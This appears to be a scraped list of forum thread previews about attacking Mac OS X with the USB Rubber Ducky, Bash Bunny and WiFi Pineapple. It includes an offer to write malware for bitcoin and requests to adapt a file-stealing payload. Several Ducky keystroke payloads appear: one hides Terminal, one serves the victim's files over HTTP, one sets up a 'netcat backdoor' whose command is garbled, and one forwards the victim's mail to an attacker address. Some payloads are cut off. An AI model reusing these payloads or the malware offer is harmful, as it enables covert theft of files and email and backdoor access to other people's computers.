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  1. I Have a few questions about the article "Stealing Files with the USB Rubber Ducky – USB Exfiltration Explained." I would like to know if that code for the payload would work for an OSX system and if it does not work what would be the changes needed for it to work. Also would I have tried to use the same payload for jpgs and photos but it does not seem to work, Is there a way for that to succeed or is it not possible. I would really appreciate it since that is the task I have been given. Thanks
  2. I Have a few questions about the article "Stealing Files with the USB Rubber Ducky – USB Exfiltration Explained." I would like to know if that code for the payload would work for an OSX system and if it does not work what would be the changes needed for it to work. Also would I have tried to use the same payload for jpgs and photos but it does not seem to work, Is there a way for that to succeed or is it not possible. I would really appreciate it since that is the task I have been given. Thanks
  3. Guys, what Bash Bunny payloads have you got any success with on OS X?
  4. I am not sure if this is the right bored to be talking about this I am willing to code Trojans,Viruses,Bots and any other type of malware in exchange for bitcoins. It could do just about anything you want example: Backdoor a system, Destroy the entire computer, Delete files, Record video and audio, etc pm me if your interested
  5. Does anyone know how to flash new firmware for the ducky on OS X? Thanks in advance
  6. This simple payload opens Terminal, moves to a directory and then creates a http server that you can go and download those files. You may want to change directory and the server port. In the payload the port is 8000 DELAY 1500 GUI SPACE DELAY 300 STRING Terminal DELAY 200 ENTER DELAY 500 STRING cd (directory to show) ENTER STRING python -m SimpleHTTPServer 8000 ENTER GUI M Directory Server.txt
  7. This small part of a payload will open the terminal and hide it in the top left of the screen. This is done thanks to a built in tool that allows you to use AppleScript from the terminal. It is called osascript and can be used in many other ways. You can use this at the beginning of a large payload. REM Coded by HH1 REM hh1rimrock@gmail.com REM REM Target: REM “Mac OS X” REM REM Description: REM This script will open a Terminal window REM And then shrink and hide it in the top REM of the screen using osascript REM REM DELAY 1500 GUI SPACE DELAY 30 STRING “Terminal” DELAY 200 ENTER DELAY 5
  8. Does anyone want to write OS X and/or linux payloads together? you can email me at: hh1rimrock@gmail.com
  9. This Payload is tested in the latest version of OS X El Capitan. It Simply opens Terminal and starts a reverse NetCat to your computer, when it connects it minimizes the terminal window You might want to mess around with the delay DELAY 1000 GUI SPACE DELAY 200 STRING TERMINAL DELAY 300 STRING nc -l IPADRESS 8888 DELAY 100 GUI M Temperary NC backdoor.txt
  10. This payload has been tested on the latest version of OS X El Capitan. It Opens applescript and types in some codes that tells mail to forward all email's from people who are in the users contact to your own private email address. It then deletes the applescript code and opens terminal to quit applescript and terminal. You might want to mess with the delay DELAY 1500 GUI SPACE DELAY 300 STRING script editor DELAY 200 ENTER DELAY 500 GUI n DELAY 500 STRING tell application "Mail" STRING set newRule to make new rule at end of rules with properties {name:"a
  11. Hello everyone, I've been looking for the past couple of hours for the best wireless dongle to buy, which I found out that is the : alfa awus036nha. But then a second before purchasing I was thinking to myself, could be that it's not compatible with my mac ?. So the question is, is it compatible with my Mac OS 10.9.4 version ? From a first look it seems that it won't be compatible and that the one that is recommended to buy is awus036nh. What would you suggest me to get ?
  12. I've recently been installing quite a couple virtual machines to try out my little duckies (nothing to say about the windows scripts, they work wonders and we have plenty of feedback on that part). Yet, I need infection penetration testing on Mac OS X, and I can't seem to find much going on around the forums about that subject. All I need, basically, is an understanding of their functionalities, and when I need a sudo password (like to disable Gatekeeper) or if simply being in terminal will bypass that for a simple app installation. I'm only looking to download and execute an application do
  13. Hey guys, If anyone's aware of THC's IPV6 attack suite against the IPV6 protocol, please lend me a hand. Flood_router26 and other tools in the suite only run on linux natively, the readme suggests they will not work on OS X. Are there any alternative methods for router flooding from native OS X? Thanks
  14. I just got my Rubber Ducky a few hours ago and when I attempt to use it on my Mac it pop up with the Keyboard Setup Assistant instead of executing the inject.bin. Running Mavericks 10.9.2. I've read around this forum and have read about updating the firmware to 2.1 and changing the PIN and VIN. I am new to the terminal and I don't really know how to update the firmware. I attempted to install dfu-programmer, but got a usb.h error, so I read around more and downloaded usblib installed that, but still got the error. I copied the usb.h file into the /usb/include location, still got errors, but i
  15. OK.. I have been on this for about 12 hours now trying to setup my Pineapple. I..Think..I..Need..help.. I'm breaking down my setup/connection so you all get the gist. Computer Hardware: 15" Retinal MBP Pineapple hardware Version: MarkV Pineapple Firmware Version: 1.0.4 OS used to connect to the Pineapple: OS X Mavericks Network Layout: Pineapple is supplied power from wall outlet. I have my wifi pineapple connected to my Mac via USB to ethernet, ethernet cable connected into pineapple. My Mac is connected via WiFi from my personal Access Point. I have manually configured the settings
  16. I cannot connect to the Pineapple's web-based control center on a Mac OS X. I have followed the instructions provided by Chris Haralson's tutorial (link shown below), but, when I enter the ip address 172.16.42.1:1471, nothing happens! Can someone help me out? Thanks in advance! Link: "How to: Configure a Wifi Pineapple for use with Mac OS X" Steps: (i) In the "Network" tab, I set the service order (wifi above the ethernet) (ii) Manually configured the ethernet as IPv4 address : 172.16.42.42 Subnet Mask : 255.255.255.0 Router: (blank) Dns server:8.8.8.8 (iii). In th
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